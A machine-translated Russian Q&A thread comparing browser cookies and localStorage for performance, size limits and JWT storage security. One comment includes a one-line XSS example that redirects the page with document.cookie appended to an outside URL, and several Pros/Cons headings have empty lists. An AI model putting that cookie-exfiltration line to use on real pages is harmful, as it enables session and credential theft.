Я хочу сократить время загрузки своих сайтов, переместив все файлы cookie в локальное хранилище, поскольку они, похоже, имеют одинаковую функциональность. Есть ли плюсы / минусы (особенно с точки зрения производительности) в использовании локального хранилища для замены функциональности cookie, кроме очевидных проблем совместимости?
html
cookies
httprequest
local-storage
Gio Borje
источник
источник
Ответы:
Файлы cookie и локальное хранилище служат различным целям. Файлы cookie предназначены главным образом для чтения на стороне сервера , локальное хранилище может быть прочитано только на стороне клиента . Таким образом, вопрос в вашем приложении, кому нужны эти данные - клиент или сервер?
Если это ваш клиент (ваш JavaScript), то обязательно переключайтесь. Вы теряете пропускную способность, отправляя все данные в каждом заголовке HTTP.
Если это ваш сервер, локальное хранилище не так полезно, потому что вам придется каким-то образом пересылать данные (с Ajax или скрытыми полями формы или чем-то еще). Это может быть хорошо, если серверу требуется только небольшое подмножество общих данных для каждого запроса.
Вы все равно захотите оставить свой сессионный cookie как cookie.
По технической разнице, а также мое понимание:
Помимо старого способа сохранения данных, куки-файлы дают вам ограничение в 4096 байт (на самом деле 4095) - это на файл cookie. Локальное хранилище составляет 5 МБ на домен - так что вопрос также упоминает.
localStorage
является реализациейStorage
интерфейса. Он хранит данные без даты истечения срока их действия и очищается только с помощью JavaScript или очистки кэша браузера / локально сохраненных данных - в отличие от срока действия файлов cookie.источник
sessionStorage
за Cookie, срок действия которого истек до закрытия Браузера (не вкладки). @ darkporter, спасибо за ответ. Однако хотелось бы услышать техническую разницу между Cookies и Local Storage. жду ваших правок.localStorage
остается на клиенте, покаcookies
отправляется с заголовком HTTP. Это самая большая (но не единственная) разница между ними.В контексте JWT Stormpath написал довольно полезную статью, в которой изложены возможные способы их хранения и (не) преимущества, относящиеся к каждому методу.
В нем также содержится краткий обзор атак XSS и CSRF и способов борьбы с ними.
Я приложил несколько коротких фрагментов статьи ниже, на случай, если их статья будет отключена или их сайт отключится.
Локальное хранилище
Проблемы:
Предупреждение:
Печенье
Проблемы:
Предупреждение:
Полный текст статьи можно найти здесь: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
У них также есть полезная статья о том, как наилучшим образом спроектировать и внедрить JWT в отношении структуры самого токена: https://stormpath.com/blog/jwt-the-right-way/
источник
localStorage
доступен для других сценариев на странице ... Но так и естьXMLHttpRequest
... И да, флаг HttpOnly защищает от кражи cookie, но браузер по-прежнему автоматически отправляет его в соответствующий домен, так что ... в основном, если у вас есть вредоносные сценарии запустив на своей странице вы уже взломаны.window.location = 'http://google.com?q=' + escape(document.cookie);
. Эта атака обходит проверку CORS браузерами.С помощью
localStorage
веб-приложений можно хранить данные локально в браузере пользователя. До HTML5 данные приложения должны были храниться в файлах cookie, включенных в каждый запрос к серверу. Большие объемы данных могут храниться локально, не влияя на производительность сайта. ХотяlocalStorage
это более современно, у обоих методов есть свои плюсы и минусы.Печенье
Pros
Cons
Локальное хранилище
Pros
Cons
localStorage
использование почти идентично сеансу. У них есть довольно точные методы, поэтому переход от сессии кlocalStorage
действительно детской игре. Однако, если сохраненные данные действительно важны для вашего приложения, вы, вероятно, будете использовать файлы cookie в качестве резервной копии, если ониlocalStorage
недоступны. Если вы хотите проверить поддержку браузераlocalStorage
, все, что вам нужно сделать, это запустить этот простой скрипт:источник
Что ж, скорость локального хранилища в значительной степени зависит от браузера, который использует клиент, а также от операционной системы. Chrome или Safari на Mac могут быть намного быстрее, чем Firefox на ПК, особенно с новыми API. Как всегда, тестирование - ваш друг (я не смог найти никаких ориентиров).
Я действительно не вижу огромной разницы между cookie и локальным хранилищем. Кроме того, вам следует больше беспокоиться о проблемах совместимости: не все браузеры даже начали поддерживать новые API-интерфейсы HTML5, поэтому файлы cookie будут лучшим выбором для скорости и совместимости.
источник
Стоит также упомянуть, что
localStorage
в некоторых версиях мобильного Safari пользователи не могут использовать его в «приватном» режиме.Цитируется из MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):
источник
Локальное хранилище может хранить до 5 МБ автономных данных, тогда как сеанс также может хранить до 5 МБ данных. Но куки могут хранить только 4 КБ данных в текстовом формате.
LOCAl и Session хранят данные в формате JSON, что позволяет легко их анализировать. Но данные куки находятся в строковом формате.
источник
Печенье :
Локальное хранилище:
источник